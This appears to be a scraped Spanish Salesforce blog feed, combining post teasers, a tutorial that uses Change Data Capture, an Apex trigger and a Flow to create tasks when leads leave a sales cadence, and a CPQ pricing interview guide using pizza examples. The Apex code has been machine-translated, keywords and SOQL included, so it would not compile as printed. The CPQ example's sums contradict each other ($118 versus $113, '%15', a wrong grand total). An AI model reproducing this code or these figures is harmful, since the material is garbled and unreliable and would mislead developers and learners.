Los SMBs tienen una variedad de motivaciones, y tus soluciones necesitan ayudarles a alcanzar sus objetivos.
Seguir leyendoUna guía rápida para realizar sprints en su Backlog de Salesforce
Navegar por los mares tormentosos de un extenso backlog de proyectos/tareas puede parecer abrumador para cualquiera que trabaje en proyectos de Salesforce, incluidos administradores y desarrolladores. Sin embargo, un toque de diseño estratégico y análisis de negocio ajustado puede transformar este desalentador reto en un plan de acción organizado. Exploremos cómo convertir su backlog en un instrumento de […]
El post Una guía rápida para hacer un sprint de su backlog de Salesforce appeared first on Salesforce Ben.
Seguir leyendoGuía completa de documentación de Salesforce (en un mundo de inteligencia artificial)
La plataforma Salesforce es muy potente. Con cada nueva versión, su org se vuelve más potente, pero también más compleja. Como le dijeron una vez a Spiderman: «un gran poder conlleva una gran responsabilidad». Entonces, ¿cómo puede asumir la responsabilidad real de mantener su organización? Con todo lo demás que tiene que hacer, documentar sus cambios es probablemente bajo en […]
El post Guía completa para la documentación de Salesforce (en un mundo de IA) appeared first on Salesforce Ben.
Seguir leyendoCómo aprobar el examen de certificación Salesforce Certified AI Associate
Última actualización el 7 de septiembre de 2023 por Rakesh Gupta Como nuevo Salesforce Certified AI Associate, comparto mis experiencias de estudio contigo y quiero que seas el próximo en superarlo Así que, ¡prepárese y sumérjase! 👉 Ya que estás aquí, es posible que desees
El post Cómo aprobar el examen de certificación Salesforce Certified AI Associate appeared first on Campeón de la Automatización.
Cómo aprobar el examen de certificación Salesforce Certified AI Associate appeared first on Campeón de la Automatización
Seguir leyendoIA para TI: los nuevos lanzamientos de IA de Dreamforce 2023
Con la IA como prioridad para todos los líderes de TI, descubra cómo estos nuevos lanzamientos de IA están impulsando la productividad y la eficiencia de los equipos de TI.
Seguir leyendo3 consejos de atención al cliente para ofrecer siempre una experiencia excelente
¿Cómo puede ofrecer siempre un servicio al cliente increíble? Aprenda cómo las personas, los procesos y la tecnología trabajando juntos pueden ayudarle a obtener constantemente reseñas de cinco estrellas.
Seguir leyendoNunca te pierdas el ritmo: notificaciones para la eliminación de clientes potenciales en la cadencia de participación de ventas
Última actualización el 1 de noviembre de 2023 por Rakesh Gupta
Gran idea o pregunta duradera:
- ¿Cómo se notifica al propietario del cliente potencial cuando alguien elimina un cliente potencial de la cadencia de participación de ventas?
Objetivos:
Después de leer este blog, podrás:
- Comprender la captura de datos modificados
- Comprender el objeto ActionCadenceTracker
- Suscríbase para cambiar eventos mediante un activador de Apex
- Llamar a un flujo iniciado automáticamente desde la clase Apex
- Y mucho más.
👉 Anteriormente, escribí un artículo sobre Sales Engagement. ¿Por qué no echarles un vistazo mientras lo haces?
A Benjamin Moore , administrador de Salesforce en Gurukul On Cloud (GoC), se le ha asignado una tarea específica. Siempre que un vendedor por teléfono o el equipo de ventas internas elimine un cliente potencial (cliente potencial) de la cadencia de participación de ventas, asegúrese de la creación automática de una tarea con estos detalles:
- Asunto : – Cliente potencial eliminado de la cadencia de participación en ventas
- Estado : – No iniciado
- Prioridad :- Alta
- Fecha de vencimiento : – Hoy
- Relacionado con : – Plomo
- Asignado a : – Propietario principal
¿Qué es la cadencia de participación en ventas?
La adquisición de clientes potenciales es un paso importante en cualquier esfuerzo de marketing. Una vez que los equipos de ventas internas tienen una lista de clientes potenciales, están listos para emprender actividades de divulgación. ¡Pero espera! Demos un paso atrás y reflexionemos sobre las siguientes preguntas como preámbulo para comprender la cadencia de ventas: (1) ¿Con qué frecuencia desea que sus representantes se comuniquen con los clientes potenciales? (2) ¿Cómo le gustaría que se comunicaran con el cliente potencial, mediante llamada o correo electrónico? (2) ¿Cómo desea capturar la disposición de las llamadas? (3) etcétera.
La cadencia de participación de ventas es una línea de tiempo de las actividades y métodos de ventas que siguen los representantes de ventas para atraer clientes potenciales. El propósito de una cadencia es facilitar que el representante de ventas interno cumpla con el cronograma y garantice que los prospectos no sean olvidados, es decir, que nada se pierda. Por ejemplo, si ofrece una consulta gratuita en su sitio web y alguien completa un formulario, la cadencia incluiría una lista de las cosas que hace para programar la primera reunión.
Una cadencia de ventas normalmente incluye tres puntos de contacto diferentes: correo electrónico , redes sociales y llamadas/correos de voz . La cadencia, para diferentes embudos de ventas, puede diferir, pero siempre debe incluir una combinación de las tres formas de comunicación mencionadas.
Una cadencia de participación de ventas se parece a esto:
En otras palabras, las cadencias de participación de ventas difieren de un tipo de proceso de ventas a otro, pero la idea básica sigue siendo la misma: toques consistentes y secuenciales.
¿Qué es la captura de datos modificados?
La captura de datos modificados (CDC) es una técnica utilizada en bases de datos y sistemas de procesamiento de datos para identificar y capturar los cambios realizados en los datos. El objetivo principal de CDC es garantizar que los cambios en los datos de origen (como inserciones, actualizaciones y eliminaciones) puedan detectarse y procesarse fácilmente en sistemas posteriores.
La captura de datos de cambios (CDC) en Salesforce es una función que le permite realizar un seguimiento y capturar los cambios realizados en los datos de Salesforce. Proporciona una manera de capturar y entregar cambios en los datos, tanto en tiempo real como de manera histórica, lo que facilita la sincronización de datos entre sistemas y mantiene una copia actualizada de los datos de Salesforce en almacenes de datos externos. Aquí hay un desglose de de qué se trata la captura de datos modificados en Salesforce:
- Actualizaciones en tiempo real : CDC proporciona un flujo de cambios en tiempo real, lo que significa que tan pronto como se realiza un cambio en Salesforce, se captura y se puede actuar de inmediato.
- Captura integral de datos : CDC captura no solo los datos modificados sino también los metadatos sobre el cambio, como cuándo ocurrió el cambio y qué tipo de cambio fue (por ejemplo, crear, actualizar, eliminar).
- Objetos estándar y personalizados : puede habilitar CDC tanto para objetos estándar de Salesforce (como Cuenta, Contacto) como para objetos personalizados.
- Arquitectura basada en eventos : los cambios se entregan como eventos. Las aplicaciones pueden suscribirse a estos eventos y tomar medidas cada vez que haya un cambio. Esto permite una integración más dinámica y con mayor capacidad de respuesta entre Salesforce y los sistemas externos.
- Integración simplificada : CDC puede simplificar los desafíos de integración. En lugar de sondear frecuentemente a Salesforce en busca de cambios, los sistemas externos pueden simplemente escuchar los eventos de cambio y actuar en consecuencia.
- Alto volumen : está diseñado para manejar un gran volumen de eventos de cambio, lo que garantiza que incluso las empresas con cantidades masivas de datos puedan utilizar CDC de manera efectiva.
- API y eventos de plataforma : Salesforce proporciona API que permiten que los sistemas externos se suscriban a estos eventos de cambio. Además, estos eventos de cambio se basan en Salesforce Platform Events, lo que facilita el trabajo dentro del ecosistema de Salesforce.
- Canales de eventos : los eventos de cambio se envían a canales de eventos que tienen una convención de nomenclatura como
data/ObjectNameChangeEvent
, dondeObjectName
es el nombre del objeto de Salesforce, comoAccount
oContact
. - Detalles del evento : cada evento de cambio contiene información sobre el cambio, como el tipo de cambio (crear, actualizar, eliminar, recuperar), el ID del registro, los nombres de los campos modificados y los nuevos valores de esos campos.
- Salesforce retiene los eventos de cambio durante 72 horas, lo que permite que los sistemas se pongan al día si se retrasan en el procesamiento de eventos.
Los administradores pueden habilitar la captura de datos modificados para objetos específicos en Salesforce a través del menú de configuración. Una vez habilitados, los cambios en esos objetos comenzarán a generar eventos de cambio.
Change Data Capture en Salesforce proporciona una manera poderosa de mantener los sistemas externos sincronizados con los datos de Salesforce sin la necesidad de una lógica de integración compleja o sondeos frecuentes. Es especialmente útil para análisis en tiempo real, sistemas de respaldo y otras aplicaciones que requieren datos actualizados de Salesforce.
Posible solución I: flujo activado por registro en el cliente potencial
Antes de profundizar en la solución funcional real, permítame guiarlo a través de algunas soluciones potenciales que pueden parecer las rutas más fáciles y rápidas a primera vista. Sin embargo, existen razones específicas por las que estas soluciones no serán viables.
Si tiene experiencia en la gestión de clientes potenciales y cadencias de participación de ventas, es posible que haya notado que Salesforce almacena ActionCadenceId (el ID de la cadencia asignada al cliente potencial) en el registro del cliente potencial. En particular, Salesforce establece ActionCadenceId en nulo cuando un cliente potencial se elimina/completa manualmente de la cadencia de participación de ventas.
Es posible que esté contemplando la idea de implementar un flujo posterior al guardado activado por registro (no conozco el flujo posterior al guardado, consulte este artículo) en el objeto principal y aplicando las siguientes condiciones:
- ActionCadenceId no es nulo {!$GlobalConstant.False}
- Con la condición "Solo si el registro que desencadenó la ejecución del flujo se actualiza para cumplir con los requisitos de la condición".
- Luego consulte el objeto ActionCadenceTracker para averiguar el estado y CompletionReason = ' ManuallyRemoved '
Sin embargo, encontrará un obstáculo al intentar guardar el flujo. Resultaría en un mensaje de error que indica:
Sí (resultado de la decisión): el campo $Record.ActionCadenceId contiene un valor derivado que no se admite. En un flujo programado o activado por registro, $Record no admite algunos campos estándar cuyos valores se derivan. Elimine el campo $Record.ActionCadenceId.
Ahora comprende por qué no podemos utilizar este enfoque para abordar el caso de uso empresarial mencionado anteriormente.
Nota : Los campos Cadencia y Cadencia asignado en registros de clientes potenciales, contactos y cuentas personales no se pueden utilizar como criterios de campo en reglas de flujo de trabajo, flujos y Generador de procesos.
Posible solución II: flujo activado por registro en ActionCadenceTracker
Inicialmente, esta solución puede parecer una opción más prometedora que la anterior, y quizás se pregunte por qué no se consideró antes. Desafortunadamente, Salesforce impone restricciones, lo que impide el uso de flujos activados por registros y activadores de Apex en este tipo de SObject en particular ( ActionCadenceTracker ).
Lamentablemente, esto marca el final de esta solución.
Posible solución III: flujo activado por programación en ActionCadenceTracker
La tercera opción es crear un flujo activado por programación para el objeto ActionCadenceTracker , lo cual ciertamente es factible. Sin embargo, es fundamental tener en cuenta que esta solución no es en tiempo real.
Puede configurar el flujo activado por programación para que se ejecute a intervalos , como cada minuto o cada hora, pero tiene sus limitaciones. Recomiendo encarecidamente considerar la escalabilidad al optar por esta solución.
Si bien este enfoque puede ser adecuado para ciertos escenarios, no sirve como una solución viable para el caso de uso empresarial específico mencionado, que requiere notificaciones en tiempo real.
La pregunta ahora es: ¿Cuál es la mejor solución para el caso de uso empresarial mencionado anteriormente? Empecemos.
Enfoque de campeón de automatización (Sí, quiero):
La mejor solución para el caso de uso empresarial determinado es utilizar Change Data Capture (CDC) en el objeto ActionCadenceTrackerChangeEvent . Si no está familiarizado con Change Data Capture (CDC), le recomiendo encarecidamente hacer una pausa aquí y completar este módulo de Trailhead.
Antes de continuar, debes familiarizarte con el objeto ActionCadenceTracker en Salesforce. Representa un objetivo de cadencia activa.
Se crea un registro ActionCadenceTracker cuando agrega un objetivo a una cadencia. Utilice ActionCadenceTracker para obtener información sobre un objetivo de cadencia de carrera, incluido su estado, paso actual, cliente potencial asignado y motivo de finalización.
Nombre del campo | Detalles |
Razón de finalización | El motivo por el que el objetivo completó la cadencia. Este campo contiene un valor si el estado del objetivo es Completo. Los valores posibles son:
|
Estado | El estado del rastreador de cadencia de acción actual. Los valores posibles son:
|
ID de destino | El ID del objetivo (Contacto, Cliente potencial) que está asignado a esta cadencia de acción. |
Antes de discutir la solución, permítanme mostrarles un diagrama del proceso a alto nivel. Dedique unos minutos a revisar el siguiente diagrama de flujo para comprenderlo. Comencemos a construir este proceso de automatización.
Práctica guiada (nosotros hacemos):
Hay tres pasos para resolver los requisitos comerciales de Benjamin utilizando Change Data Capture (CDC), un Apex Trigger y un flujo de inicio automático . Debemos:
- Habilite el objeto ActionCadenceTracker para notificaciones de cambios
- Flujo iniciado automáticamente
- Definir propiedades de flujo
- Cree una variable de colección de registros para almacenar clientes potenciales
- Agregue un elemento Loop para recuperar los registros de la variable de colección de registros
- Agregue un elemento de Asignación para asignar valores a una Variable de registro (Tarea)
- Agregue un elemento de Asignación para agregar la Variable de registro a una Variable de colección de registros .
- Agregue un elemento Crear registros para crear tareas
- Desencadenadores asincrónicos de Apex para eventos de cambio
Paso 1: habilite el objeto ActionCadenceTracker para notificaciones de cambios
- Haga clic en Configuración .
- En el cuadro Búsqueda rápida, escriba Cambiar captura de datos y seleccione Cambiar captura de datos .
- En Entidades disponibles, seleccione Rastreador de cadencia ( ActionCadenceTracker ) y haga clic en la flecha > .
- Haga clic en Guardar .
Paso 2.1: Definir las propiedades del flujo
- Haga clic en Configuración .
- En el cuadro Búsqueda rápida, escriba Flujos .
- Seleccione Flujos y luego haga clic en Nuevo flujo .
- Seleccione el flujo iniciado automáticamente (sin activación) opción.
- Haga clic en Crear .
Paso 2.2: Agregar una variable de recopilación de registros para almacenar clientes potenciales
- En Caja de herramientas , seleccione Administrador y luego haga clic en Nuevo recurso para almacenar los clientes potenciales.
- Introduzca la siguiente información:
- Tipo de recurso : variable
- Nombre de API : varR_Leads
- Tipo de datos : Registro
- Objeto : Plomo
- Marque Permitir múltiples valores (colección)
- Marque disponible para entrada
- Verificar disponible para salida
- Haga clic en Listo.
Paso 2.3: Agregar un elemento de bucle para recuperar los registros de la variable de colección de registros
- En Flow Designer, haga clic en el icono + y seleccione el elemento Bucle .
- Ingrese un nombre en el campo Etiqueta ; el nombre de la API se completará automáticamente.
- Para Variable de colección, seleccione {!varR_Leads} .
- Para especificar la dirección para iterar sobre la colección seleccione la opción Desde el primer elemento hasta el último elemento.
- Haga clic en Listo .
Paso 2.4: Agregar un elemento de asignación para asignar los valores a una variable de registro (tarea)
- Cree una tarea de tipo varR_Task de variable de registro para crear una tarea para el propietario del cliente potencial.
- En Flow Designer, debajo del nodo Para cada , haga clic en el icono + y seleccione el elemento Asignación .
- Ingrese un nombre en la etiqueta ; el nombre de API se completará automáticamente.
- Establecer valores de variables
- Fila 1 :
- Campo : Asunto
- Valor : Cliente potencial eliminado de la cadencia de participación en ventas
- Haga clic en Agregar tarea
- Fila 2 :
- Campo : Estado
- Valor : No iniciado
- Haga clic en Agregar tarea
- Fila 3 :
- Campo : Prioridad
- Valor : Alto
- Haga clic en Agregar tarea
- Fila 4 :
- Campo : Fecha de actividad
- Valor : {!$Flujo.FechaActual}
- Haga clic en Agregar tarea
- Fila 5 :
- Campo : WhoId
- Valor : {!Loop_Through_Leads.Id}
- Haga clic en Agregar tarea
- Fila 6 :
- Campo : ID de propietario
- Valor : {!Loop_Through_Leads.OwnerId}
- Fila 1 :
- Haga clic en Listo.
Paso 2.5: Agregar un elemento de asignación para agregar la variable de registro a la variable de colección de registros
- Cree una tarea de tipo varR_Tasks de recopilación de registros para almacenar la variable de registro (creada en el paso 2.4) para el proceso masivo.
- En Flow Designer, haga clic en el icono + y seleccione el elemento Asignación .
- Ingrese un nombre en la etiqueta ; el nombre de API se completará automáticamente.
- Establecer valores de variables
- Fila 1:
- Campo: {!varR_Tasks}
- Operador: Agregar
- Valor: {!varR_Task}
- Fila 1:
- Haga clic en Listo.
Paso 2.6: Agregar un elemento Crear registros para crear tareas
- En Flow Designer, debajo del nodo Después del último , haga clic en el icono + y seleccione el elemento Crear registros .
- Ingrese un nombre en la etiqueta ; el nombre de API se completará automáticamente.
- Para Cuántos registros crear, seleccione Múltiples.
- Colección de registros de mapas : {!varR_Tasks}
- Haga clic en la X en la parte superior para guardar los cambios.
Al final, Benjamin's Flow se verá como la siguiente captura de pantalla:
Una vez que todo se vea bien, realice los pasos a continuación:
- Haga clic en Guardar .
- Ingrese la etiqueta de flujo (CadenceTracker); el nombre de la API se completará automáticamente.
- Versión API para ejecutar el flujo : 59
- Etiqueta de la entrevista : CadenceTracker {!$Flow.CurrentDateTime}
- Haga clic en Guardar .
¡Casi llegamos! Una vez que todo se vea bien, haga clic en el botón Activar .
Paso 3: Activadores asincrónicos de Apex para eventos de cambio
Tiene la opción de recibir notificaciones de cambios en la plataforma Lightning suscribiéndose para cambiar eventos a través de activadores de Apex. Si bien los activadores de Apex para eventos de cambio comparten similitudes con los de los objetos estándar de Salesforce, también existen distinciones notables. Al igual que los activadores de Apex tradicionales para objetos de Salesforce, usted crea un activador de evento de cambio para el evento de cambio específico asociado con el objeto de Salesforce. Vale la pena señalar que en este contexto solo se admiten activadores posteriores a la inserción.
El desencadenador de evento de cambio se activa cuando se recibe uno o un lote de eventos de cambio. A diferencia de los activadores de objetos, los activadores de eventos de cambio se ejecutan de forma asincrónica una vez completada la transacción de la base de datos. La ejecución asincrónica hace que los desencadenadores de eventos de cambio sean ideales para procesar la lógica empresarial que consume muchos recursos y al mismo tiempo mantener la lógica basada en transacciones en el desencadenador de objetos. Al desacoplar el procesamiento de cambios, los desencadenantes de eventos de cambio pueden ayudar a reducir el tiempo de procesamiento de las transacciones.
Los desencadenantes de eventos de cambio tienen estas características.
- Se ejecutan bajo la entidad Proceso Automatizado. Como tal, los registros de depuración para el desencadenador son creados por la entidad de proceso automatizado y los campos del sistema, como CreadoById y OwnerId, hacen referencia al proceso automatizado.
- Están sujetos a los límites del gobernador síncrono de Apex.
- Tienen un tamaño de lote máximo de 2000 mensajes de eventos (la cantidad de elementos en Trigger.New).
- Cree un desencadenador de Apex en el objeto ActionCadenceTrackerChangeEvent .
desencadenar ActionCadenceTrackerAsyncTrigger en ActionCadenceTrackerChangeEvent (después de insertar) { ActionCadenceTrackerAsyncTriggerHandler.handleChangeEvent(Trigger.new); }
clase pública ActionCadenceTrackerAsyncTriggerHandler { handleChangeEvent vacío estático público (List<ActionCadenceTrackerChangeEvent> changeEvents) { Set<Id> actionCadenceTrackerIds = nuevo Set<Id>(); for(evento ActionCadenceTrackerChangeEvent: eventos de cambio) { encabezado EventBus.ChangeEventHeader = evento.ChangeEventHeader; if (header.changetype == 'ACTUALIZAR' && event.CompletionReason == 'Manualmente eliminado') { Lista<Id> recordIds = header.getRecordIds(); actionCadenceTrackerIds.addAll(recordIds); } } if(!actionCadenceTrackerIds.isEmpty()) { encontrarRelatedLeads(actionCadenceTrackerIds); } } findRelatedLeads vacío estático privado (Set<Id> actionCadenceTrackerIds) { Lista<Lead> AssociatedLeads = [Seleccione ID, OwnerId de plomo donde Id IN (SELECCIONAR targetId DESDE ActionCadenceTracker DÓNDE ID EN: actionCadenceTrackerIds AND Target.Type = 'Cliente')]; if(!asociadosLeads.isEmpty()) { runFlow (líderes asociados); } } runFlow vacío estático privado (List<Lead> leads) { Mapa<Cadena, Objeto> params = nuevo Mapa<Cadena, Objeto>(); params.put('varR_Leads', clientes potenciales); Flow.Interview.CadenceTracker myFlow = nuevo Flow.Interview.CadenceTracker(params); miFlow.start(); } }
Prueba de concepto
De ahora en adelante, si un usuario elimina un cliente potencial de la cadencia de participación de ventas, Change Data Capture (CDC) publicará un evento. Más adelante, un activador de Apex y un flujo crearán una tarea para el propietario principal.
- El primer paso es asignar la cadencia de participación de ventas a un cliente potencial.
- El siguiente paso es eliminar manualmente el cliente potencial de la cadencia de participación en ventas.
- Tarea creada por automatización.
Evaluación formativa:
¡Quiero saber de ti!
¿Qué es lo que aprendiste de esta publicación? ¿Cómo imagina aplicar este nuevo conocimiento en el mundo real? Siéntete libre de compartir en los comentarios a continuación.
🤤 ¡Decodificación de precios, descuentos y preguntas de la entrevista en cascada de precios de Salesforce CPQ con escenarios de Domino's Pizza! 🍕
Enlace de Whatsapp para el grupo Salesforce CPQ
¿Está listo para profundizar en los métodos de fijación de precios de Salesforce CPQ, el modelo de cascada de precios y los descuentos de CPQ? Entenderemos los precios de Salesforce CPQ y abordaremos las preguntas de la entrevista con la ayuda de las deliciosas ofertas de Domino. 🤤📊🍕
¿Cuáles son los métodos de fijación de precios en Salesforce CPQ?
¿Cuál es el precio de lista en Salesforce CPQ?
El precio de lista es el precio que se recupera de la entrada del libro de precios. Una parte importante del precio de lista es la entrada en el libro de precios, ya que los precios se invocan desde el libro de precios. Cada producto debe tener una entrada en el libro de precios; de lo contrario, el producto no aparecerá en la página de selección del editor de líneas de cotización.
Por ejemplo, Domino's tiene su nueva pizza “AI Extravaganza”, con un precio de $24 en su lista de precios CPQ. Ese es nuestro precio de lista. Ahora, en “Techie Night”, ofrecen un 20% de descuento para todos los entusiastas de la tecnología. Salesforce CPQ toma el precio de lista de $24, calcula el descuento del 20 % y al cliente se le ofrece la pizza a $19,20. Pero sin que la entrada del libro de precios de lista establezca el precio de lista.
¿Cuál es el precio de costo?
El precio de costo se utiliza cuando un producto cuesta una cantidad específica para obtenerlo, luego puede agregar el precio de costo y agregar el precio de margen al producto. El margen de beneficio se puede negociar entre los representantes de ventas y el cliente. El precio de costo es el precio que se completa en el precio especial. campo.
Imagine la nueva pizza “AI Extravaganza” de Domino's. Los ingredientes, la mano de obra y los costos generales suman hasta $15 por pizza: ese es nuestro precio de costo. Ahora, Domino's quiere una parte de las ganancias, por lo que añaden un margen de beneficio. Digamos que lo aumentan en $9, lo que hace que el precio de lista sea de $24 (el precio que ves en el menú).
¿Qué es el precio por bloque?
Los precios en bloque son los precios que se actualizan en función de las cantidades del producto comprado. Por ejemplo, un paquete de 1 a 10 unidades costará 10 $, 10 a 20 unidades costará 18 $ y así sucesivamente.
Para configurar el precio por bloque necesitamos actualizar los 4 datos.
Nombre: establezca el nombre para bloquear el método de fijación de precios.
Límite inferior: la cantidad más baja para el rango de cantidades.
Límite superior: la cantidad más alta para el rango de cantidades.
Precio: Precio que se configurará para el rango de cantidad determinado.
Nota: El límite superior del precio de un bloque y el límite inferior del precio del siguiente bloque deben ser iguales.
Entendamos con la ayuda del escenario de Dominos, imaginemos el precio en bloque como la oferta especial de Domino's en sus pizzas, pero en lugar de "Compre 1, obtenga 1 gratis", es más como "¡Compre más, ahorre más!". Este enfoque se utiliza en Salesforce CPQ para alentar a los clientes a comprar en mayores volúmenes reduciendo el precio unitario a medida que aumenta la cantidad.
Digamos que Domino's está vendiendo su pizza "AI Extravaganza" e introduce una estrategia de precios en bloque para impulsar las ventas:
– **Nombre**: “Acuerdo en bloque de extravagancia de IA”
– **Límite inferior**: 1 (número mínimo de pizzas)
– **Límite superior**: 10 (número máximo de pizzas antes del siguiente bloque)
– **Precio**: $24 por pizza
Entonces, si pides entre 1 y 10 pizzas “AI Extravaganza”, cada una te costará $24. Pero Domino's quiere incentivarlo a pedir más para sus reuniones tecnológicas o noches de juegos, por lo que presenta lo siguiente:
– **Límite inferior del siguiente bloque**: 11
– **Límite superior del siguiente bloque**: 20
– **Precio del siguiente bloque**: $22 por pizza
Con esta oferta, si pides de 11 a 20 pizzas, el precio baja a $22 cada una. Los asistentes están contentos porque hay mucha pizza y Domino's está encantado con el pedido más grande. ¡Es beneficioso para todos!
Entonces, el precio por bloque es como desbloquear descuentos por volumen: cuanto más pides, más barata se vuelve cada pizza.
¿Qué es el porcentaje del total?
El porcentaje del total se calcula en función del porcentaje de la suma de todos los demás productos que se compran. Por ejemplo, la propina por una cuenta en un restaurante se calcularía en esta categoría.
Para implementar el porcentaje del total, necesitamos actualizar los siguientes campos en los productos:
Método de fijación de precios: configúrelo en "Porcentaje del total"
Porcentaje de la base total: este campo dice en qué campo de precio debemos implementar el porcentaje del total.
Anulación de precio de opción: este precio funcionará solo en el producto del paquete. Las opciones del producto son la opción del paquete. Puede anular el precio del producto si se vende de forma independiente y junto con el paquete.
¡Sumerjámonos en el concepto de “porcentaje del total” con un delicioso escenario de Domino!
Imagina que estás organizando una gran noche de juegos. Entonces, pides una variedad de pizzas, guarniciones y postres, suficiente para satisfacer los diversos antojos de tus amigos. Aquí hay un desglose de su pedido:
5 pizzas a $15 cada una | $75 |
4 órdenes de pan de ajo a $5 cada una | $20 |
3 pasteles de lava a $6 cada uno | $18 |
Total | $118 |
Las bebidas son una entidad separada. | |
6 botellas de refresco a $2.50 cada una | %15 |
Así es como se integra en Salesforce CPQ:
Método de fijación de precios: seleccionaron "Porcentaje del total". Es dinámico y cambia con sus opciones y porciones de alimentos.
Porcentaje de la base total: se define como la “factura total de alimentos”, que es el costo de pizzas, guarniciones y postres, por un total de $113. Tus refrescos están fuera de esto.
Anulación de precio de opción: normalmente, una botella de cola de Domino's cuesta $2,50, pero usted pidió el "¡Combo!" ¡Este privilegio combinado reduce el costo de los refrescos a $1.80 por botella, lo que le permite ahorrar $4.20 en bebidas!
Total
El “impuesto de fiesta” es el 10% de $113, por lo que son $11,30. El costo total de la comida fue de $113, las bebidas fueron de $15 y con el descuento en bebidas debido a la oferta "Combo", restas $4.20 y luego sumas tu "Impuesto de fiesta" de $11.30. Entonces, ¡el total general de la noche es $135,10!
¿Explica el concepto de “precio de opciones”?
Imagina que estás organizando una fiesta de pizza y Domino's tiene esta oferta llamada "Paquete de fiesta de pizza", que incluye pizzas, guarniciones y bebidas.
Así es como funciona:
Precio opcional: en el “Paquete para fiestas de pizza”, el pan con ajo no cuesta $5; ¡cuesta solo $ 3,75! Obtiene un recorte de precio porque está en un paquete.
Pasos:
1. Primero, agrega pan de ajo a su carrito; sigue siendo $5.
2. Luego, eliges el “Paquete Pizza Party” y el pan de ajo en tu paquete ahora tiene un precio de $3.75.
Lo que sucede aquí, debido al concepto de Precio de Opción, es que el sistema verifica si el pan con ajo es parte del “Paquete de Pizza Party”. entra en vigor el precio con descuento de $ 3,75, como se especifica en la opción del paquete.
¿Explicar las limitaciones en el precio de las opciones?
El precio de la opción no admite monedas múltiples, por lo que solo es posible definir el precio de anulación en una sola moneda.
¿Explicar los precios contratados en Salesforce CPQ?
Imagine que Domino's tiene una empresa cliente leal, “Pizza Lovers Texas Inc.”, una empresa local que pide pizzas para su personal todos los viernes. Dado que realizan pedidos con tanta frecuencia y al por mayor, Domino's quiere ofrecerles una oferta especial.
Así es como funciona:
1. Normalmente, una pizza vegetariana grande cuesta $15. Pero para Pizza Lovers Texas, Domino's establece un precio contratado de 12 dólares por pizza, un gesto de lealtad.
- En el sistema CPQ Salesforce de Domino, van a la cuenta de Pizza Lovers Texas.
- Navegue a la pestaña "Relacionados" y, en la sección "Precios contratados", hagan clic en "Nuevo".
- Seleccionan la pizza vegetariana en el campo "Producto" e ingresan $12 en el campo "Precio": se establece el precio contratado.
¡Consejos profesionales sobre precios contratados! 🍕✨
1. No hay ofertas dobles: si Pizza Lovers Texas Inc. tuviera dos precios contratados diferentes para la misma pizza vegetariana, un contrato la ofrece a $12 y otro anterior a $14. El sistema Salesforce de Domino no sabría cuál debo elegir. Para evitar esto, CPQ se asegura de tener solo UN precio contratado por producto para cada cuenta.
2. Excepciones de precios especiales: los productos que utilizan métodos de fijación de precios, precios en bloque o porcentaje del precio total, no funcionan con el precio contratado.
3 Asuntos familiares: si las Cuentas están vinculadas por una relación padre-hijo, entonces, de forma predeterminada, todos los hijos heredan el Precio Contratado creado en la Cuenta Padre.
Digamos que PizzaLovers Texas Inc. es parte de un imperio más grande, "PizzaLovers Universe", con subsidiarias como "PizzaLovers Chicago" y "PizzaLovers Bay" instaladas en diferentes ubicaciones. Domino's establece un precio contratado con la empresa matriz, "PizzaLovers Universe". Salesforce CPQ aplica automáticamente este precio contratado a todas las subsidiarias de PizzaLovers porque, en el mundo de la pizza, la familia está unida.
¿Explique el caso de uso de 'Ignorar precios contratados por los padres'?
¿Qué pasa si “PizzaLovers Chicago” negocia un trato exclusivo y diferente porque piden el doble cada viernes? Domino's simplemente cambia la opción "Ignorar precios contratados de la empresa matriz" a verdadero en esa cuenta, asegurando que "PizzaLovers Chicago" obtenga su oferta única, mientras que el resto aún se beneficia del precio contratado de la empresa matriz.
¿Explicar el precio “Anulación manual” en los precios de Salesforce CPQ? 🍕🔥
1.Crea tu propia pizza:
Dominos sabe que a veces quieres crear tu propia pizza. Por lo tanto, establecieron el campo "Precio editable" en verdadero en el producto "Crea tu propia pizza". Ingresa al Editor de líneas de cotización y puede ajustar el precio de lista según la cantidad y el tipo de ingredientes que elija para esa pizza.
2. Flexibilidad:
Domino's ofrece conexión Wi-Fi gratuita en sus restaurantes. El Wi-Fi normalmente se "vende" usando el "Método de precio = Lista", pero para reservas de grupos grandes, lo ofrecen como un beneficio, parte del "Método de precio = Porcentaje del total" con la factura total. Para cambiar entre estos métodos, hacen que el campo "Método de fijación de precios" sea editable en el Editor de líneas de cotización configurando "Método de fijación de precios editable" en verdadero para el producto (en este caso, Wi-Fi).
3. Ofertas personalizadas para comidas personalizadas:
A veces, un cliente negocia un trato que no se ajusta a los métodos de fijación de precios habituales. Domino's responde configurando 'Método de fijación de precios = Personalizado' en el Editor de líneas de cotización. Luego, el personal puede establecer manualmente un precio personalizado.
4. El lado sorpresa:
¿Alguna vez el personal de Domino's te recomendó pan de ajo con queso para pedir? A veces, lo agregan a su pedido como un artículo "Opcional" configurando el campo "Opcional" en verdadero en el Editor de líneas de cotización. No sumará su total, pero está ahí para que lo considere.
¿Explicar la cascada de precios?
¡Profundicemos en el concepto de cascada de precios en Salesforce CPQ! 💦
La cascada de precios de CPQ es un proceso/secuencia de varios pasos que utiliza diferentes precios y descuentos para llegar al precio neto (este es el campo de precio para el total de la línea de cotización/cotización).
Se describe como una cascada que se abre camino de arriba a abajo a través de los diferentes precios y descuentos/ajustes.
1. Precio de lista:
Este es el punto de partida: el precio del menú. Digamos que el precio de lista de la pizza grande “ExtravaganZZa” de Domino's es de $20, como figura en su Libro de precios.
2. Precio Contratado:
Domino's tiene clientes leales, como el "Pizza Club", que cenan todos los martes. Han negociado un 5% de descuento en todas las pizzas a través de un programa de fidelización. Entonces, para ellos, el precio contratado para “ExtravaganZZa” no es $20 sino que baja a $19 ($20 menos 5%).
3. Precio especial:
En ocasiones, Domino's ofrece una promoción especial de un día, como “Cheesy Thursday”, donde todas las pizzas tienen un 10% de descuento adicional. Esta promoción se aplica sobre el Precio Contratado o el Precio de Lista. Para el leal “Pizza Club”, esto reduce su pizza de $19 a $17,10 para ese día.
4. Precio prorrateado:
Supongamos que un miembro del club quiere comprar la mitad de un “ExtravaganZZa” y la mitad de un “Veggie Delight” (también con un precio de 20 dólares). Dominos calcula un Precio Prorrateado, donde toman el Precio Especial ($17.10) y lo multiplican por un factor considerando el escenario de mitad y mitad, digamos 0.5 por cada mitad, lo que equivale a $8.55 por cada porción de media pizza.
5. Precio Regular:
Si no hay un escenario especial, se aplica el Precio Regular. Es el Precio Prorrateado o vuelve al Precio de Lista original. Entonces $19 por “ExtravaganZZa”.
En el contexto del escenario de Domino's pizza con Salesforce CPQ, analicemos en detalle el precio para el cliente, el precio para el socio y el precio neto.
